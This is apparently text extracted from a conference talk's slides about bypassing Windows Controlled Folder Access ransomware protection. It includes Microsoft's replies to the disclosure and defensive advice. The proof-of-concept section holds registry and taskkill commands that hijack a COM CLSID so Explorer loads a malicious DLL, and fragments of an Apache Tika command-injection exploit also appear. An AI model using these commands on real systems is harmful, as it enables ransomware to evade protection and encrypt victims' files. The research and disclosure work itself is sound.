The Ransomware Protection
Full Of Holes

Soya Aoyama
Fujitsu System Integration Laboratories Limited
Researchers find evidence that could link WannaCry cyberattack to North Korea

WannaCry: What is ransomware and how to avoid it

What you need to know about 'WannaCry', the malicious software behind Friday's worldwide hacking attack.
Microsoft's answer to Ransomware

TANMAY GANACHARYA
Principal Group Manager, Windows Defender Research

Ransomware protection on Windows 10

For end users, the dreaded ransom note announces that ransomware has already taken their files hostage: documents, precious photos and videos, and other important files encrypted. On Windows 10 Fall Creators Update, a new feature helps stop ransomware from accessing important files in real-time, even if it manages to infect the computer. When enabled, **Controlled folder access** locks down folders, allowing only authorized apps to access files.
Controlled folder access

Ransomware protection

Protect your files against threats like ransomware, and see how to restore files in case of an attack.

**Controlled folder access**

Protect files, folders, and memory areas on your device from unauthorized changes by unfriendly applications.

- **On**

  - Block history
  - Protected folders
  - Allow an app through Controlled folder access

Ransomware data recovery

You may be able to recover files in these accounts in case of a ransomware attack.
Protected folders

Windows system folders are protected by default. You can also add additional protected folders.

Have a question?
Get help

Help improve Windows Security
Give us feedback

Change your privacy settings
View and change privacy settings for your Windows 11 device.
Privacy settings
Privacy dashboard
Privacy Statement

Documents
C:\Users\ao\Documents

Documents
C:\Users\Public\Documents

Pictures
C:\Users\ao\Pictures
Allow an app through Controlled folder access

If Controlled folder access has blocked an app you trust, you can add it as an allowed app. This allows the app to make changes to protected folders.

Most of your apps will be allowed by Controlled folder access without adding them here. Apps determined by Microsoft as friendly are always allowed.
Ransomware can use Office OLE objects to bypass CFA

Jesus says that a ransomware developer could easily bypass Microsoft CFA anti-ransomware feature by adding simple scripts that bypass CFA via OLE objects inside Office files.

In research published over the weekend, Jesus includes three examples that utilize boobytrapped Office documents (received via spam email) to overwrite the content of other Office documents stored inside CFA folders; password-protect the same files; or copy-paste their content inside files located outside the CFA folder, encrypt those, and delete the originals.

While the first example is just destructive, the last two will work as an actual ransom, with victims having to pay the ransomware author for the password/decryption code that unlocks the files.

Jesus dis pleased with Microsoft

Jesus said he notified Microsoft about the issue he discovered. In a screenshot of the email he received
The RIPlace ransomware protection bypass

According to Nyotron, ransomware will encrypt a victim’s files and replace them with encrypted data using one of the three methods below. In our experience working with ransomware, methods #1 and #2 are the most common.

1. Writing the encrypted data from memory to the original file.
2. Writing the encrypted data from memory to a new file and then deleting the old one.
3. Writing the encrypted data from memory to a new file and then using the Rename call to replace the original file.

For a ransomware protection feature to properly work, all three options must be protected by the security software’s filter-driver.

Unfortunately, Nyotron discovered that performing option three to replace files, and doing it in a special way, allows the bypassing of the protection feature as illustrated below.
Encrypting in 'Safe Mode'

AvosLocker operators leverage PDQ Deploy, a legitimate deployment tool for automating patch management, to drop several Windows batch scripts onto the target machine, which helps them to lay the ground for the attack, according to a report from SophosLabs Principal Researcher Andrew Brandt.

These scripts modify or delete Registry keys that belong to specific endpoint security tools, including Windows Defender and products from Kaspersky, Carbon Black, Trend Micro, Symantec, Bitdefender, and Cylance.
Bypassing Controlled Folder Access using DLL injection

Controlled Folder Access is a feature that allows you to protect folders and the files inside them so that they can only be modified by an application that is whitelisted. The whitelisted applications are either ones that you specify or ones that are whitelisted by default by Microsoft.

Knowing that the explorer.exe program is whitelisted in Controlled Folder Access, Sova Aoyama, a security researcher at Fujitsu System Integration Laboratories Ltd., figured out a way to inject a malicious DLL into Explorer when it is started. Since Explorer is whitelisted, when the DLL is injected it will launch and be able to bypass the ransomware protection feature.

To do this, Aoyama relied on the fact that when explorer.exe starts, it will load DLLs found under the HKEY_CLASSES_ROOT\shell\ContextMenuHandlers registry key shown below.
Explorer is included in Microsoft friendly apps
Event Triggered Execution: Component Object Model Hijacking

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.[1] References to various COM objects are stored in the Registry.

Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary’s code will be executed instead.[2] An advantage with this technique is that it does not require other system privileges.
Under ContextMenuHandlers

![Registry Editor screenshot showing ContextMenuHandlers under HKEY_CLASSES_ROOT\\shell\ContextMenuHandlers](image-url)
Registry Editor

CLSID

Computer\HKEY_CLASSES_ROOT\CLSID\{90A3A4E-1CBA-4233-B8BB-535773D48449\}\InProcServer32

- InProcServer32
  - (Default): REG_EXPAND_SZ
  - ThreadingModel: REG_SZ

- Data: %SystemRoot%\system32\shell32.dll
  - Apartment
The RegOpenUserClassesRoot function provides a merged view for processes, such as services, that are dealing with clients other than the interactive user. In this case, the HKEY_CLASSES_ROOT key provides a view of the registry that merges the information from HKEY_LOCAL_MACHINE\Software\Classes with the information from HKEY_CURRENT_USER\Software\Classes.

The system uses the following rules to merge information from the two sources:

- The merged view includes all subkeys of the HKEY_CURRENT_USER\Software\Classes key.
- The merged view includes all immediate subkeys of the HKEY_LOCAL_MACHINE\Software\Classes key that do not duplicate the subkeys of HKEY_CURRENT_USER\Software\Classes.
- At the end of this topic is a list of subkeys that are found in both HKEY_LOCAL_MACHINE\Software\Classes and HKEY_CURRENT_USER\Software\Classes. The immediate subkeys of these keys from the HKEY_LOCAL_MACHINE tree are included in the merged view only if they are not duplicates of immediate subkeys in the HKEY_CURRENT_USER tree.
The image shows a screenshot of a Registry Editor window with two different keys highlighted:

1. **HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{90AA3A4E-1CBA-4233-B8BB-535773D48449}\InProcServer32**
   - Name: InProcServer32
   - Type: (Default) REG_EXPAND_SZ
   - Data: `%SystemRoot%\system32\shell32.dll`
   - ThreadingModel: REG_SZ
     - Value: Apartment

2. **HKEY_CURRENT_USER\Software\Classes\CLSID\{90AA3A4E-1CBA-4233-B8BB-535773D48449**
   - (value set)

The Registry Editor highlights the path and key values for each entry.
Ransomware Proof of Concept (PoC)

HKCU\Software\Classes\CLSID\{90AA3A4E-1CBA-4233-B8BB-535773D48449\}\InprocServer32 /f /ve /t REG_SZ /d c:\tmp\Mal.dll

taskkill /IM explorer.exe /F

start explorer.exe

Mal.bat

reg add HKCU\Software\Classes\CLSID\{90AA3A4E-1CBA-4233-B8BB-535773D48449\}\InprocServer32 /f /ve /t REG_SZ /d c:\tmp\Mal.dll
Hello,

Thank you for contacting the Microsoft Security Response Center (MSRC). If I am interpreting your findings correctly, this report is predicated on the attacker having login access to the target’s account already. Followed by planting a dll through registry modifications. Since you are only able to write to HKCU, you will not be able to effect other users, just the target you have already compromised through other means. There also does not appear to be an escalation of privileges and you already had the same access level as the target. It would appear the attacker would not gain anything from this attack and could already do anything that the planting could trigger. As your report as written, this does not meet the bar for security servicing.
Yes, Windows 10 Has Ransomware Protection: Here’s How To Turn It On

- Windows 10 ransomware protection remains the first line of defense for consumers using Windows in 2021.
- Unbeknownst to many consumer users of Windows, Microsoft offers built-in ransomware protection as part of Windows Defender, found under Virus & Threat Protection.
Demo (Ransomware PoC)
You can change where files in this folder are stored to another place on this hard drive, another drive, or another computer on your network.
Controlled Folder Access registry
New Ransomware PoC

HKLM\...\ProtectedFolders

HKCU\...\User Shell Folders
Personal : %USERPROFILE%\Pictures

Controlled Folder Access
Read
Protect

C:\Users\ao\Pictures

File Explorer
Encrypt
EXE
DLL

#HITB2022SIN
New Ransomware PoC
Demo (New Ransomware PoC)
Hi Soya Aoyama,

Thank you for your submission. We determined your finding does not meet our bar for immediate servicing because Controlled Folder Access is a defense-in-depth security features. For more information, please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowsscriteria).

However, we've marked your finding for future review as an opportunity to improve our products. I do not have a timeline for this review and will not provide updates moving forward. As no further action is required at this time, I am closing this case. You will not receive further correspondence regarding this submission.
Microsoft Security Servicing Criteria for Windows

**Defense-in-depth security features**

In some cases, a security feature may provide protection against a threat without being able to provide a robust defense. These security features are typically referred to as defense-in-depth features or mitigations because they provide additional security but may have by design limitations that prevent them from fully mitigating a threat. A bypass for a defense-in-depth security feature by itself does not pose a direct risk because an attacker must also have found a vulnerability that affects a security boundary, or they must rely on additional techniques, such as social engineering, to achieve the initial stage of a device compromise.

The following table summarizes the defense-in-depth security features that Microsoft has defined which do not have a servicing plan. Any vulnerability or bypass that affects these security features will not be serviced by default, but it may be addressed in a future version or release. Many of these features are being continuously improved across each product release and are also covered by active bug bounty programs.

In some cases, defense-in-depth security features may take a dependency that will not meet the bar for servicing by default. As a result, these defense-in-depth security features will also not meet the bar for servicing by default. An example of this can be observed with Shielded Virtual Machines which takes a dependency on an administrator not being able to compromise the kernel or a Virtual Machine Worker Process (VMWP) which is protected by Protected Process Light (PPL). In this case, Administrator-to-Kernel and PPL are not serviced by default.

<table>
<thead>
<tr>
<th>Category</th>
<th>Security feature</th>
<th>Security goal</th>
<th>Intent is to service?</th>
<th>Bounty?</th>
</tr>
</thead>
<tbody>
<tr>
<td>User safety</td>
<td>User Account Control (UAC)</td>
<td>Prevent unwanted system-wide changes (files, registry, etc) without administrator consent</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>User safety</td>
<td>AppLocker</td>
<td>Prevent unauthorized applications from executing</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>User safety</td>
<td><strong>Controlled Folder Access</strong></td>
<td>Protect access and modification to controlled folders from apps that may be malicious</td>
<td>No</td>
<td>No</td>
</tr>
</tbody>
</table>
Use CVE-2018-1335

Apache Tika-server < 1.18 - Command Injection

**EDB-ID:** 46540  
**CVE:** 2018-1335  
**Author:** RHINO SECURITY LABS  
**Type:** REMOTE  
**Platform:** WINDOWS  
**Date:** 2019-03-13  
**EDB Verified:** ✓  
**Exploit:** `~/`  
**Vulnerable App:**

```python
# This is a PoC for remote command execution in Apache Tika-server.  
# Versions Affected: Tika-server versions < 1.18  
# Researcher: David Yesland Twitter: @Daveysec  
# NIST CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2018-1335

import sys
import requests
```
try:
    requests.put("https://"+url, headers=headers, data=jscript, verify=False)
except:
    try:
        requests.put("http://"+url, headers=headers, data=jscript1)
        requests.put("http://"+url, headers=headers, data=jscript2)
        requests.put("http://"+url, headers=headers, data=jscript3)
        requests.put("http://"+url, headers=headers, data=jscript4)
        requests.put("http://"+url, headers=headers, data=jscript5)
Demo (Remote Ransomware PoC)
Conclusion

- **Problem**
  Microsoft adds folders like Documents and Pictures to Ransomware Protection's Protected Folders by default

- **Measure**
  - Add folders you want to protect yourself
  - Always back up your data

Never create ransomware using this method
SOYA AOYAMA
Global Fujitsu Distinguished Engineer @ Fujitsu
Founder and Organizer @ BSides Tokyo

1992 ~ 2015
Software developer of Windows
2015 ~
Security researcher
- 2016 AVTOKYO
- 2017 BSides Las Vegas
- 2018 GrrCON / ToorCon / DerbyCon / AVTOKYO
- 2019 HackMiami / leHACK / BSides Singapore / ROOTCON
- 2022 leHACK / A New HOPE
2018 ~
BSides Tokyo Founder and Organizer
- 2018 1st BSides in East Asia
- 2019 2nd BSides Tokyo
- 2020 3rd BSides Tokyo